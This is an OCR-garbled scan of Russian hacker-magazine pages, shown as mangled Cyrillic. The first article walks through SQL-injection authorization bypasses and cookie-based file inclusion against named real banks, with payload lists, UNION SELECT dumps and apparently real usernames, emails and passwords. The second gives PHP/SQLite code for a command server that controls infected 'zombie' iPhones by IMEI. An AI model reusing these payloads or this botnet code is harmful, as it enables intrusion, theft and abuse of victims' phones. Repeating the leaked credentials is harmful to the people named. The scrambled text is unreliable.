[51 6:reseaUl:cb1bbcd4b4b47894aOe6d

pass: IOio{OOOO

b706fh415c2:007700:index.php: [6] 12:drhl:841eb977300a2d84ab2ccE8f 9077f1eO:000007:index.php:index.php:

Tamar:Ramishvili:TBC: 0102:NoDat

admin- or -a-:::-a ad'llin" or 1=1­ adrnin' or 1=1 ­ admin' or 'a'='a

arnColumn:Geo:tramishvili@gmail.

admin') or ('a'='a

com:hkj1d hupi:

admin") or ("a-="a

Pass:tata

a"'1)-­

ge:+99532272727:+99532774772:

~EJ1b: TBCBANK.COM.GE (rpY3~f1) BHIilM8Hl.1e. nOToMy YTO O,IJ,Ha>KAbl, KorAa >l nporn>l­

llEJ1b: DASFLA.CO.M 1ME>KAYHAPOAHbl ~ I

AblBannorlil ,o,pyra, 6ecep,yrl Ha TeMYIo1H¢OpMa14KOH­

no CyTlil. 0AIttH Itt 3 flVlAepoB

HOYl6030nacHocTVI 6aHKoscKoro ceKTopa. MHeCTaflO

CIttHra. TeCTlo1pyeM rJl8BHYlO <POpMy aSTopIo13aU~1>1

04eBV1,[1HO, 4TO ,[IaHHble 8sTOp;13all,1il1il nOJlb30BaTeJl5l

Ha npeAMer«authorization bype5s»: dd~tla.com/

COllVlAHbll1 rpy:3Io1HCKl.1i16aHKI AasHo npv1!3JleK Moe

nepe,o,aiOTC>l B He3awlo14>poBaHHOM BIo1Ae'

lQ.

In

B c<pep€" ATM-npo14ec·

c.ra.;px.

A8Toplo13101pyeMcR C AaHHblM\1' tbcbank.co~.ge/irl

main,php?lang=eng&id=­ 80&actio~=1&uname=a1exander.

khazaradze%40statestreet_ corrhupass=xkoqna&OK=Login

Username: admin' or 1=1~~ Password: adJnin' or 1=1­ 5101Hro I We are in I nepe,o, rf1a3aMIil 38aeTHoe: «Data Access Systems. Inc User: Super

COOTseTCTBeHHo.login :Alexander. kharadze0

Administralop>.

statestreet.com. a napOJlb ­ xkogma 5blJlO 6bl YAV,BIo1TeJlbHO. eClll1

Mbl

KaKIilM-HII16YAb

APyrVlM o6pa30M BToprnl4Cb 111 B3TOT 6aHK.

~EJ1b: ABCDELABANCA. COM (~CnAH~f1) MOA<eT 6blTb. 3AeCb Bce 6YAenaK A<e npoCTO?

tbcbank.com.ge/ir/main.php?id=20+A

admin'-­ or 0=0 -­ "orO=O-­

or 0... 0 -­ or 0=0 11 " or 0=0 II or 0=0 II . or 'x'='x , or "x"="x .) or ('x'='x • or 1=1-­ " or 1=1-­ or 1=1-­ , or a=a-­ - or -aw="a ') or ('a'='a W)

hi" or 1=1-­ hi'

ND+l=2+7NJON~SELECT+0.1,2,3­

http;llw"~.abcdelabanca

tbcbank, com. gel ir Imain. php? id"'20 1-1\ ND+1=2+UNION+SELECT+O.concut_ws(t_ user,Ox20,t-passl,2,3+from+t_users

pages/frm_login.php

com/adminl

or (Ma"="a

hi" or Wa"="a

or 1=1-­

hi' or 'a'='a hi') or (. a ' = 'a hi") or ("a"="a

ABTopVl3Io1pyeMC51 C,AaHHbIMVl:

llEJ1b: PRIVATBANK.UA

Cpa3y nOJlyyaeM ,l:\aHHble Ha aAMIo1Ha ladmin:budianduk>11013 t_users II, 6e.>ll:lilM 8 aA­

user: x· AND email IS NULL; pass x' AND email IS NULL:

IYKPA~HA)

npltt 3axOAe Ha httos:l/b[og privatbank lJal

MIo1H Ky «tbcuank.c:om.ge/ir/Cldmin/index,php».

!.!QLr.equestlchoice of goods_php nOJlY4aeM

OCTanbHble nOJlb30BaTeJllo1 Ta6JlIo1ll,bl t_users:

oWlil6KY:


::-::- B::/-.Ot-.·1

~i.r;:: ~"I::~·=~__

.m._•• __• •

~aDfIDof"'''" .e»l~"l~_." Q T~_~_ ilf<:<o<n:Ile..tfI<.. ~

_

00""" ......,...... _--:J .......

Point of Banking - DAS LOQlnNem •

......... r"'.,.tv

..,.,;>

,

(.:_~ ~~~ •.

__ ._

J Q"",....- DeOla<'~.I~~.IJ At.. ~~.., lIod>_

'

__.

'~itlI

Q ..... oolol<."# .....

D

04·11-200904:36:57

DatefTime

.......

...

·_.tvL L11--'..... "'"

,.""'""~

~.;~

r-;:;;:;;;-;;;;;-;r­

IYC<Jfl """,''''" ho' >"-< ,_,,,,,'

__ •. "",l" ,

odO""." ,,1<

""""""'"

-

!EiIo1HrO! B CIo1CTEME Mbl CynEP-AAMIo1HIo1CTPATOPbl

MySQL moc:Y 00 ~

. , ."..". . . J<'''-

SQL ~ 'heck 1he """"""" 1bu ComfJ><'QClllo ,,,.. MySQL , ....... ..,..jon r.. the riVlI .yotu 10 o.e ne... '. --'

ERROR EN SQL SEUCl" &o",IbL_wtere d>l.lICIIlIm1.lXt_v.ltl d'i AND .moiIlS NULL; ••' ond1l>l_"",.....,ll<Iy.'''.o'd''''x' AND emaillS NULL: --'

I-iEKOTOPblE CnOCOEibl PEAlllo13AlIIo1101 «AUTHORIZATION BypAss» npIo1BOA5IT K PACKPblTlo11O TAEilllo1l1 ~)o':~,:_'_.:'~

I'·:l;:rhi)>:., "\,;,v~i,,~--..,t'" Ot.-.o.nope_.

,""I~.

Qo.H:"'T\>

Inc,..",4J'O'" Ipo

~

lete

T.... co~

o

fb;e"''''0<6! 1lJl:l. lql""",'"'l'l"JIOl

Ie

ru; rv:l.9.0.8) Gecko/2009032609 Firefox/3.0.8J Accept (text/html ,application/xhtml+xml ,applicationl xml;q=O.9,*/~;q=O.8J

Accept-Language(ru,en-us;q=O.7,en;q=O.3]

2'J

_1

rhtt;:d://bIoIl.pri<ethot*.\>OIIbfr.<l'...tJd>:»:I_c1~~.~

11_.. . . . . ~

i~

f~,~etbri.""

. 1Use-.AQent

1MozIoIM (wnb.

~

Ilntft'td.eppkob:

IIo(COPC'l.1I'9H\IO

1_._.­

-,-­.......

.......

lllr_Post

Accept-Encoding[gzip,deflateJ

Accept-Charset[windows-125l,utf-8;q~O.7,*;q=O.7l

Keep-Alive(300]

Connection [keep-alive]

Cookie[language= .. I .. I .. I .. / . . 1 .. 1 . . 1 .. /etc/passwd%QOJ

Cache-Control (max-agc=O]

COOTseTCTseHHo, l-13MeHSlSl AaHHbie B KyKe, MO.>KHO npo6pY4V1SClTb AOCTyn·

_.oo.~

HOCTb 6ara LFI KAPyrl-1M Sa.>KHbIM <pav:naM, HanpV1Mep, httpd.conf/php.ini.

I.........

r-. F II=­ oprAHIo13YEM LFI B COOKIE

nOcJ1e 4ero OAo6pV1TenbHo OTMe4aeM 6YAyw,liIe nOllY4eHHbie 3anpoebl.

./etclPe<......nw:l

AaJ1ee Moe SHl'IMaHV1e npltlBneK1l0 H3J1V14V1e Ha cal7ne J1ItlHKa CyKa3aHV1eM KaKorO-TO HeCTdHAapTHoro nopm:

http://www.privatbank.ua:8085/info/index3.stm Omx6Kd

CXHTdKCH4eCKoro aHaJH13a

XML:

nHWHlJle naHHble nocne

3neMeHTa .nOKyMeHTa A~pec: https:llblog privdtbank.ua/lib/request/choice_

Ecm-1 06paTl-lTbCSl erporo no nop'Y, TO HaM 6YAyT AocrynHbl AJ1~ YTeHl-1Sl AO­

of~goods.php

V13BeCTHble 6arrpaKM KM)J,aKlT J,D,Oai130pV1:

KYMej.jTJlI,V1M no «EASe rver 5.5 Release», Me.>K,Qy npO'-H-1M. HaC'-leT 3Toro Bee

CTpOKil 2, cUMBoJll:<table class="goods" cellspacing="O" cellpadding="5" border=-O">

«A vulnerability has been discovered in Sybase EAServer. If exploi ted,

npl-1 npV1MeHeHV1V1 <lH3f1V133TOpa HTTP-npoToKofla(l=IltIcnoflb30saflTamper Datal MO>KHoyf!~,[\eTb, .,TO cai1T CTaSvtT KyK c napaMeTpOM «Ianguage~>. npo­ BepS1eM B03MO>KHOCTb

LFls cookie:

jagsrv.exe process. To complete this attack, you must be authenticated to IlJJebConsole/. By default, the jagadrnin user password

If npHrOTdBJl)1BdeM 3nOHaMepeHHoe 3Ha'leHM8 cookie

language= . . 1 .. 1 .. 1 .. 1 .. 1 .. 1 .. 1 . . /elc/passwd%OO

« A<)nee nOACTaBm:leM ero c

rtOMOUU:,1O nlO6oro

this can result in user-specified code being executed under the security context of the

I1H~eKTOpa

is set to blank so getting access rraKeToB might be trivial ..ll."fler authenticating to Ih1ebConsolei

OnV1caHHaSl npoLleAypa CTamper Data. BblrJlRAV1T npV1MepHo TaK. OTKpblsa­

if an attacker sets the value of

eM: «Mozilla -7 ~HCTpYMeHTbl -7 nepexa8T ,QaHHbIX -7 3anycH1Tb nepexsaT -7 OTKpblsaeM Haw ca~n-7 BMeWarbCSl1:l3arlpOC-7 Pe,[\3KTl-1pyeM Kynll-7

the JavaScript parameter in TreeAction.do to a large

OTnpaSV1Tb». HapRAYC 3TO~ npoCTO~ npOI\eAypoi1 nOHMMaeM. '-1TO creHepV1­

val ue a return address Cdn be overwritten due to a stack-basec buffer overflow»

posa8w"'~CSl3anpoc

BblrIlRAV1T, KaK:

HOSllblog.privatbank.ua]

User-Agent[Mozilla/5.0 (Windows;

Aei1cT6vlTeJ1bHO, «Authorization bypass» CJlOnllHGM jagadmin V1 nyCTblM napOJ1eM npOKaTMJ1.I


l.\EHTP PACnpOAA>K:

@ CaBeJ\OBCKaR YJ\. 6aWMJ\OBCKaR, AOM

1

(495) 721.-38-54, Mo6.: 8 (903) 1.75-23-39

TeJ\.:

TEXHMKA YCnEXA


~M

,:

.)

tJ""

Hb l:J -0

C03AAEM3

OH

AJl~ IPHONE-30M6~

npoi:1,lJ,eTew,e neT n51Tb, Vl TeKyw,Vle rVlra6VlTHbie CKOpOCTVl Mbl 6y,lJ,eM CYVl­ TaTb 6eCKOHeYHO ManblMVl. nOMVlMO

GSM

Vl3g, COBpeMeHHbleTefleepOHbl

VlMeIOTWi-Fi a,lJ,amepbl, TaK YTO npaKTVlyeCKVl nOCT051HHO HaXO,lJ,51TC51 B OH­ nai:1He. BeK M06VlflbHbiX 60THeTOB y:>Ke HaCTan. B 3T0i:1 CTaTbe 51 paCCKa:>Ky o npaKTVlyeCKoi:1 peanVl3aLJ,VlVl cepBepa ,lJ,fl51 ynpaBneHVl5'l ceTblO M06Vlflb­ HblX 30M6Vl-TefleepOHOB, B yaCTHOCTVl,lJ,Jl51 Apple iPhone. M06~nbHA~cnEU~~~KA

nepe.o. HayaflOM pa60Tbl pa36epeM oco6eHHOC­

GPS !ecnl1 B TenelfloHe eCTb TaKO~ KOHTpOJ1nepl.

SQUte no,[l, Windows. PiJ3yMeeTC>l, He COCT3811T

9. 3anycK nporpaMMblA>1KTO¢OH3 B CKpblTOM

TpyAa nepeH€Cn1 KOA 110A nlO6YKl P,pyrylO cpep,y.

111 Mo61-1J1bHb1X 30M6lo1- yeM OHl'1 OTJH1YafOTC~

pe>Klt1Me [s Ka4eCTBe nOAcnywVlBalOUleroyCl"­

3a:-1eyy, 'ITO ~ cnelJ,>1aJlbHO OCTaBI1Jl B KO,Qe

l'1 K8KlJI€ npel-lMyw,eCTS8 .0.8101 no cpaSHeH\IIKl C

pO~CTBal.

I1HbeKlIJ111. 4To6bl HI1 y Koro He 3aKpanaCb MblCJlb

«KnaCCVl4eCK14MvP> 3apa:t<eHHblM 11 M8WIIIHa"u,1

lt1cllonb30s3Tb sce 3TI1 oco6eHHOCT>1 BMecTe6blno

IXCnOJlb30BaTb 3TOTnpltlMep AflR

BOT cnlJ1(OK QCHOBHblX ¢\.1'-l'

6bl. KOHe4HO. 3,D,OpOBO, HO MeH~ H3 T3K0l:1 nO,ll,Bl-1r He

Bpe,D,a "eMy-TQ)l(1180My.

1. 6blCTPO MeH~IOl1.\14IAC~ IP-aApec [KOTOPblf1,

Tl'lHeT. OrpaH1Il4YCbOCHOBHbIML1, 3 OCTaflbHbie nO\;1­

cKopee scero, 60flbwe He nOBTOpl'1TCfll.

Ayr K3Kp,Opa6oTt::Io1. T3K>Ke He I1CK111043K), YTO MOL';i

2. HesbICOK8S1 CKOpOCTb COeAI1H€Hltl51(S cpeJ],H€M.

Clll1COK M())I(HO nOnOJ1HI1Tbew,e AeCflTKOM n0311l\l-1i1.

MeH€€

1 M6l'1T/cl.

3. B03MO>KHOCTb n0J1Y'-l€H14fl KOM8HA no ceTl.,

GSM

KAK 3TO 6YAET PA60TATb

5QL­

npI14I1HeH>1~

~AEHT~CI>~KAU~~ TEnE~OHOB ~ PEr~CTPAU~OHHbIE

AAHHblE

6e3 I-1HTepHeTa IHanpltlMl?p, cpe,acTB<!MlJI SMSJ.

Mbl H3J1l11WeM cepsepHYIO 43CTb c aAMI1HKoi1 IJ,nl'l

EellVl KOMnblOTepbl B 50THeTe 06bl'-lHO l1,QeH­

4. npaKTli14€CKl'1 nOJ1HOe oTcyrcTBVI€ 8HTl-18lJ1pyC­

ny6.nJ..1K3l\11l'1 KOM3H,ll, H3 ee6-cepeepe. Knl1eHTbl

Tl'1q,l4lJ,Vlpym no IP-a,D,peC3M. TO TeJlelfloHbl Mbl

HblX 1'1 8HTlilwnl10HCKltlX cpeACTs.

[TO eCTb. 3apa)l(eHHble TCJle410Hbll 110cpe,o,CTBOM

6meM Onpe;'l.eflRTb no

5. Her KOHTpOfl51 rpa¢JIlKa

C3MOrOTpO>lHa 6YAYTCK34lt183Tb HaWI1 KOM3HAbi

.'(oP,y, 3aWl.1TOMy Ha 33SOAe. 3ToToTcaMbl~ KO,D,.

BIla.o.€f1blJ,€M.

IMEI- YHI1KanbHOMY

6. BblCOK8fl Sep051THOCTb XpaH€Hj.1f! B r€fle¢OH€

4epe3 onpe,ll,eneHHble Io1HTepBaJ1bl SpeMeH11101

'-ITO MO>KeT cny)KI1Tb,QOKa3aT€flbCTBOM Kpa)Kl'1 B

m-1YHbIX A8HHbiX IHoMepa Kpe~I1TOK, m1H-Ko,ubl.

l'1cnOJlH>lTb ItlX. Pe3YJlbTaTbll'1CnOflHeHVlR KJlltleHTbl

CYAe. no

C4eTa, a,c,peca 11 np.J.

on>lTb-T3Kl-1 6yp,yr nepe,ll,aS3Tb H3weMY cepaepy

4epe3 COCTeeTCTsYiOl1ll1e opraHbl. a OHl.1, B ceOKl

7. 3eOHKl1 VI oTnpaBK<l

SMS.

8. Onpe,o,eneHV1e MeCTon0J10>KeHV1~ no G5M V1nVl

~

056

'-Jepe3

HITP. 3TO X03>li1CTBO MO)KHO peam130aaTb B CTaTbe >I onlo1wy Bce ,ll,Jl>l PHP 101

Ha 4eM yrop,HO.

JMEI MO>l<HO Hal:1TI1 nponaeWltl11 TeJ1eq,OH

OlJepe,ll,b, Hal1Ayrero MeCTononQ)KeHf1e yepe3 CO­ T080ro onepaTopa. CMeHf1Tb

IMEI Ha KCHKpeTHOM

XAKEP 05/125/ 09


{/

»

enEIlI<1AJ1bHMl KOMAHAA - YHI<1KAJ1bHAAJ1Sl KA>KAOrOTEJ1Ec:POHA. MO>KET 3ACTABI<1Tb nEPE­ AATbJ1WIHbIEAAHHbIE

Tene¢>OHE CI.l\.1laeTCl:I AOBOJ'lbl-lQ

npOOJ,eMaTt1'-l­

lloCf1e -.:\Toro CKd'1lABaeM OOb?oBneHHbleO\llOnI1O­ TeK\o1 B AV1penoplt11O ext 11 HaCna>KJl,aeMCSI, Tenepb

CI-1eHe IMEI Ha iPhone eCTb nom-olaf! VI nOAPo6H<lA

CO),IJ,aeM TaOJlV1l\bl. KYl\a 6Y,QeM 3an\llCblSaTb

lI1HCTPYKLJ,V1flla ,JlaBHoe - npOClafl):

nOCTynalOw,ylO aT JOM61'1lo1H<PopMaulo11O 101 HOBbIe

functi.on checkVkey \ Sl.mei, Svkey)

$result = false; if (strlen($imei)==15)

yKaJdH"'SI. BOTTaK 8blrflfl,QIo1TSQL-CKpl1m:

{

$cbl

CREATE TABLr: zombies (id INTEGER PRIMARY KEY, imei INTEGER,

number

=

$lmei[3];

$cb2 = Simel[7];

TeM he MeHee. c OyeHb 60J1bWO~ sepOATHOCTblO

INTEG

Scb3 = $imei [8];

lMEI6y,o,eT HaWl.1M YHV1KallbHbIM

ER,

infect_date DATETIME, last_ active_date DATETIME, alias VJl..RCHAR ~ 64) , comment. VARCHI\R \ 1024));

Scb4 = Simei

lt1,o,eHTV1¢!V,­

KaTopOM 30M6V1. Aa8a~ npVlKV1H2M, KaKltle

AonOJ1\;lt11€ l \b'Mble !!'c"i'-::o': -"v - :'--C:::~'i)TC.o;:, 0;

3apaxeHI-iOroo6p2:=_: =:--~:=::V :5=i..,:-i""~\

Tene¢oHHbll:i HQMep a,.:= - -. ".:J --50--8-90.

OH npV\roA\t\TcSl p,nll c.--:~:.. 3v"3. =--~J'="'-=­

I-Ib\X C€ ? l3\1\coe

Of\COCa. a-l\9. ne?€:opoc.

p.eHe,

liB :)'1'014 T'b6nl'1/(e XrdJ.HflTCf[ 3anMCH 0

3apin:er!Hbly.

TelH:-¢oHin~.

(

PRIMARY KEY, cmd VCHAR(128) , (;reated DATETIME,

,o,aT)' noc.ne,QHeLii aKTl-tBHOCTl-1 [,n,aTy OTBeTa Ha

nOCJle,QHlOfO KOMCiH,Qyl. D,llfl.,<pacoTbl 3aS€AeM

St.key,: {$cbl*lOl+$ch2*lCn+$cb3* 3+Scb4*9+Scb5*71);

if (Stkey==$vkeyj

CRBA.T"E. 'I'/l-BLE cororoancls l'l.e. INTRG"ER

H2o APyroC1 (4eT VolH1 nOAK1l1Q4eHlIIe ycnyr. CIO,o,3

301'-161-1 H2o MaCTep·cepBepe (Aary Japa>KCHlt1A)

[11] ;

$cb5 = Sirnei[13J;

>Ke >l npe,D,na,aIOAo6asII1TbAary perI'1CTpaL\f11-'! lt1

-,

6POAKACT KOMAHAA. EE BbrnOJ1HSlT BeE YCTPoiieTBA

HblM baBVlClo1TCT np0lt1380A.....Tell5llt1 MOAeJlI1]. no

www.iclarified.com/entry/index.

php?enid=657.

E:3AOM

)

accepted INTEGER);

)

return $result;

/ /Ta6·IVI"; C ly .... ~lT /J'1<; ~,HHl~IC~! KOi{,;lHn. KOTOPH€

nonyYdl')'!

Bee

"Jap,)\f(E'HHbJe

(6ponKaC1' I .

eUJ,e, OnL.\1iI0HallbHD, TeKCTosbl~ aJ1",ac annapaTa V1

CREATE TABLE spec_corrunands

nOCIle nposepKIo1 Kfl104a ,Qo6aSJl51eM raspl1­

KV1J106aLilTHbIM «oMMeHTapV1~. TaKV1M o6pa30M, Mbl

(id INTEGER PRIMARY KEY, crnd

Ka 8 633y, D,1lS'! )TOro Io1cnOJlb3yeM <PYHKUIo1IO

CMO)KeM 3anV1caTb \l\H¢OpMau,~1O 0 K8>K,!J,OM 301.16101.

VARCHAR(l28) , imei INTEGER, creaLed

addToZombl€ :

npV1AYMblBaTb CMeWHble Ha3eaHlt1~

DA'T'F:'I'IME, accepted INTEGER) ;

l-1

npo4yIC <pl-1r­

HIO, eCJ111 sAPyr nOHa,o.o6It1TC5', TaK::4(e nOTpe6yeTcS'!

/ 13..:t;:'Cb xraH>nc:ol KOM<'iHD,b1, oD.peCO­

XpaHI1Tb caMV1 KOMaHAbl, KOTOPbl€ 6yn,yr ll0J1Y4aTb

B,)HHbl8

KOHKpeTHOHy

YlCIIOJiJ-lllT''i;!Tk}

no

function add'T'oZombie ($imei,

$number)

V1 V1CnOJ1H~Tb HSWV130M6101 - >! npe,o.ycMCiTpl-1­

if (strlen{$imei)==15)

smo 06U\V1C [6pop,KacTI AIlS'! Bcex 3apa::4(eHHblX V1 CnelJ,l-1anbHble (Al-1peKTI KOMaH.ll,bl,ll,Jlfl KOHK­

OTMe'"ly, '"ITO, HanpV1Mep,,o,.n\1 MySQl 15u,I1<pp

peTHoro TeJ1e4JQI~a. Bce 3Ty IiIH<P0PMalll-11O HaAD

IMEI He s.ne3yT B INTEGER. TaK '"lTO Sal nplllA€TCfl

rAe-TO XpaHI-1Tb, 1-1 sepOflTHO, He Ha 6yMa::+:.t::e nOA

"'eMHoro I1CnpaSV1Tb, nOKOH'1l-18 C HacTpoLilKoii

nOJ1oBI-1u,eLil. n03TOMY JaSeA€M COOTl3eTCwYIOUJ,l1e

6S3bl. nep€~AeM HenoCpe.o,CTseHHO K HsnlilC2HlMO

Ta5fl114t::H B 6a3e AaHHblx. s:ll-tCnOJlb3YIO SQLile,

CKpltlnT3, KOTOPbl~ 6YAeTperlo1crplo1pOS3Tb S 6a3e

XOTfl6ce Hanlo1caHHoe 5e3 TpYAa MO::4(HO nepeno­

HOBblX ::4(epT8.

::+:'11~b nOA flI06ylO APYrylO CY5A IHa 3TOT CyeT ew,e 6YAeTHeCK0J1bKO KOMM€HTapl-1€B

no T€KcTyl.

YCTAHABJH1BAEM CY5A,

C03AAEM TA5JU111bl

nOClle 3apa)l(eHlo1l'1 TeJ1e<POH OmpaSJlflel http-3a­

DATETH1E( 'now'), NULL, " , " ) " ) ;

U,1111.

zomblesj,".$imei,", ".Snumber. return true;

KOA Hy>KeH. '"lT06bl y6eAV1TbCl'I, '1TO perlllCT~

npeACTaBfH1eT c060(1 BcerO-HaBcero OAYlH <paiill.

pau,1011O npOXOAIo1T VlMeHHO HaWTpOl'lH, 3 He,Qfl.£\S'!S

V1llTerpslJ,lt1fl C5'JbIKaMV1 nporpdMMlilpOBdfJl'1S'!

<pypa>KK€. Kpyrble neplJ,bl nV1wyTTfl::+:.eJlble MaTeM3­

c.neAyeT Ao6aslt1Tb S php.ini CJ1e;:lylOUJ,l-1e CTp04KI-1:

catch ( Exception $excepti on die{$exception->getMessage{));

TI1'"leCKl-1e ¢YHKLtVlI1 AmI csepTKV1 penKTpau,l-10HHblX

return false,

,llaHHl>IX S sepV1¢JIo1KalJ,V10HHblYi KO.£\. aAJI>! HaWI-1X )

TeCTOSblX Lte.neC1 XBaTlt1TVI 4ero-HV16YAbnonpome. )

HanpV1Mep, B03bMeM Bbl6opOYHble LtYl¢Pbl1013 IMEI. (PHP _SQl.ITE:l

YMHO::+:.V1M Ha KOHCTaHTbllo1 CflO)l(l1M pe3yflbTaTBMec­

extension=php-pdo.dl1

extension=php-pdo_sqlite.dll

extension=php_sqlit€ . dll

T€. Bl>I~AeT "'e OyeHbKpaCltl80, HO secbMa H2rJTSI,llHO.

XAKEP 05 /125/ 0'

{strlen($number)~~O)

$number="NULL" ;

"insert into zombies values { (select max(id) of" 1 from

SOUle 3aKJllOyaeTC>1 8 TOM, '1TO caMa 6a3a

CY6A

"master-server.db") ;

if

@$dbHandlc->quer.yE~ec(

npocc GET-napaMeTpOM IMEIIII KO,o,OM perltlCTpa­

Windows. B MoeM CIly,-,ae A,l\1 ycraHOBKIo1

try { SdbHandle = ne", SQLiteDatabase{

«nOMOry

CPEn1CTPAlll1EII1»,

l1n113Anl1CblBAEM30M511

BC51 npeJleCTb [11 oAHospeMeHHo, HeAOCTaTOKI

TO>Ke OyeHb npOCTa\1. q 6YAY nl1ca"'b no,ll PHP iii

(

)

TaKI1M 06paJOM, nl1WeM nepSYIO<pYHKl\I1IOAJl51

06e 3TV1 q,YHKlJ,1t11t1 VI npOCTyIO norlilKY npOeepKI1

nposepKIo1 perl-1CTpal\V10HHOro Kfl104a

co6lo1paeM BMeCTe El <paLilll reg.php.AJ1Sl KOppeKT-

~

057


if I

~M

» b E::: ..... OM

I:

.,

,

...-'-q

p~~~

cnHCOK3APA>KEHHbIX MAWHH. rJlABHOE OKHO I1HTEP<IlEHCA

THnH'lHbIE nPEACTABHTEJ11130M611. nOBEPb, IPHONEYHHXB KAPMAHAX

HO~ pa60Tbi rpORH npl1 peflllCTpal.\11111 p,OJlA<eH nocnaTb HaM hllp-3anpoc nplllMepHOCTaKOlM

ij

URL:

die($exception->getMeSSage()); )

http://master-server.com(reg.php?imei=123456789012345 &vkey=1589.

)

COOTBeTCTBeHHO, 4To6bl3a6paTb KOMaH.Qy, TPOSlH TS1HeT CTpaHlt14Ky BliIAa:

PA3AAEM KOMAHAbl OCTanOCb HanlllcaTb KOMaH,ll,ylO 4aCTb. nOrl1Ka 3,o,eCb npocTast: ne3eM B

http://master-server.com/take.php?

6a3y, rall.l,lIIM caMylO cse>t<ylO KOlvlaH.QY Ie 60JlbWl-1M

imei=123456789012345.

10111 neyaTaeM 6 HTIP

response. npV1 :nOM ew,e HaAG 05HOBI1Tb ra6J1l'14Ky lombies, ycraHoBItlB TaM .o.ary nocnefJ,HeCi .o,aTe. (J)yHKlI,l-1l1l

aKTI'lBHOcn,

30M61-1. 3a6raswero KOMa~I.o.y, patlHyfD TeKyw,ei1

6y,ll,YT SblrMl,lJ,eTb Tat<:

4T06blltlMClTb S03MO)l(HOCTb 06LLj<;lTbGl C KOHKpeTHblM Tefle¢OHOM, Hanlt1­ weM ¢YHKlJ,VliO .0.11\1 BblSOAa KOMaH.Qbl Vl3 Ta611L1Ubl special_commands no KOHKpeTHoMy

IMEI:

function showComrnand () function showSpecCommand($imei) try try

{

$dbHandle = new SQLiteDatabase (~< "master-SE>rver . db" ) ; $dbHandle =

$sqlGetView

=:

·SELECT

*

(select max(id) from commands)"; $result = $dbllandle->QUery($sqlGetView); $pageview

=.

$sqlGetView = "SELECT'" FROt<l spec_commands where id in (select max(id) fromspec_corrmands ....,he~e imei=".$imei.")c;

$resul t '" SdbHandle->query (SsqlGetView) ;

$result->fetch();

$pageview'" Sresult->fetch();

echo $pageView(ll;

echo

Cd tch (

E:xc~Ption

new SQLit.€ D atabase ("master-server .db") ;

FROM conunands where id in

$pagevie"r [1] ;

$except ion)

(

catch{ Exception Scxception)

die($exception->getMessage()) ; }

die($exception->getMessage()) ;

) }

function

update~ctivitY($imei)

try

)

Hy BOT, Bce rOToao. MO)KHO Ha'-lI'lHaTb np08epl'lTb pa60Tocnaco5HOCTb .o8lt1)1(Ka, TaK KaK 6a30Bbltli $YHKl.\lt10Hal1 raTOS. npa8Aa, Mbl

$dbHandle =

ne~,;

SQLiteDatabase (<<master-server. db" ) ;

He C,Qeflal1lt1

ce6e

B03MO>KHOCTb 3anVlCbl8aTb 3TVI caMble KOMaHAbl B 6a3Y. TyT eCTb,D,sa saplt1­ aHTa - J1\.-160 n0l1b30BaTbCS< KOHCOJ1bHOi1 yTlol.mnoi1 sqlile,exe, 111'160 nOTpa­

$sqlGetView = "UPDATE zombies SET last_dclivE_ date=Dl\TETIME ( 'now') WHERE imei=" . $ imci;

Sresult = $dbHandle->q1.lery ($sqlGetView) ;

H1Tb ew,e 15 Mlt1Hyr lt1 AonlllcaTb Be6-I'1HTepepe~c.T bl KaK X04eWb,

a s:I noi1AY

no BTOpOMy nYTI-1, nOToMy "ITO OH OKOHOf\H1T nOTOM napy '-laCD8 Ha nl1BO ;).

AA~TE nOPym1Tb. 101m., nlo1WEM AAM101 HKY nepBblM Ae.nOM BblBeAeM cnL>1COK Bcex 30M6lol B HTML~Ta6J1l.o14Ke.

catch ( Exception Sexception )

~

058

Ami

HarJll'l.o.HOCTl1, Tel1e¢>oHbI, KoTopble npv.Hl'l11ltl nOClle perltlCTpal.\ltlH

XAKEP 05 /125/ 09


E:::AOt....1

--:;

echo '<tr bgcolor="'. ($pagevie \'!{4]?'green': 'red'}.' "><to><inpu t type="button" value=cCneu. xOMaHlIa'

onc 1 ick=" javascrl pt: openZombi e ( , . $pag ~

'</td><to>' .SpageView[lj. '<I

• wNw.salileorg­

td><td> '.$pagevie',.;[2]. '</td><td>'.

C3~TCY6,Q SO Lite.

$pageView(3]. '</td><td>' .$pageVieN·[4j. '<I

npeKpacHo nO,!J,xoAVlT

td><td><div id="change.a.l ias' . $pageVie'l! r 0 ]

AJl>l nerKlllX npoeKTo8

.'" style=»display: none; -><form action=""

meLhod~"POST"><input type="hidden"

KAPTA MIo1PAKOMnbIOTEPHblX60THETOB XOT~ 6bl O.o.Hy KOM3H,IJ,Y

13anOflHeHO none lasl_aclive_

date Ta6f1l.1LJ.bl zombiesl. Hble -

nO,lJ,CBenlM 3eneHblM. OCTanb­

KpaCHblM. 3,1J,eCb)l(e nVlweM npocTolii )I(.3BaCKpl-1nT

links

eVielrl{ 0] . ' ) " 1 ></td><td> ' . SpageVi e'.-; [01 .

l-1 BCTpaVlsaeMblx peweHl-1C1 .

value:"' .$pageVielrl(OJ.'· name-="id"I><input MO~ 6llor.

type="text' value="' .$pagevicwlSJ.'"

• 9xod ru -

name=" al ias" 1 ><input type-=" submi t "

nVlwy no Mepe w.ell3­

vulue="M3MeH~Tb"></form></div><div

showAlias' . $pageVielt1 [OJ . i ':>' .

id=­

$pageVie~~

HillS!.

[

5 J . ' - <d hre f =" j avascript : change?l ias ( ,

,ll,J1~ Vl3MeHeHVll'I an\.1.3ca ltI KOMMeHTapi4S!. BblliiAeT

. $pageVieN [ 01 . ' ) ; " >113Mem1Tb< 1a:></di v>< I

npVlMepHO TaK:

td><td><di v id= "changecomment' . $pageView[O

>K.ay KOMMeHTa­

pllleB,oTse4y Ha eOnpOCbl.

1 . '. style::: "di splay: none; "><iorm act ion-""

funct ion sholtlZombies { )

method=" POST" ><input type= "hidden"

value"'"' .$pagevieN[Ol.'" name="id"/><input

try

type=-text" va1ue-=", .$pageView[6J. "

name=-comment.-I><input type="submit"

$dbHandle = new SQLiteDatabase

("master-server .db") ;

l>

B MapTOBCKQM HOMepe

href=" java script : changeConunent

<<3

if

(strlen($nu~ber)==O)

~

, . $pageVi

ew[O].'); ">113MeHHT",</a></div></td></tr>, ;

:JC 6blJ1a ony6J1l-1KOB3H3 CTaTb>! no C03AaHl-11O Tp051HaAJl~ Symbian.

$number= -NULL' ;

$pageVieN = $re.sult->fetch (); $sqlGetVie"l = "SELECT

info

value="~3MeH~TL"></form></div><div id="show

commentc.$pageVieN[Oj.' ">' .$pageViet-l[6j.'

HerpYAHo )J,opa6oT3Tb

* FROM zornbj es";

ero 1-1 HaYYl-1Tb 06l.L\3Tb­

echo c</table>';

Cfl C HaW>1M M3CTep­

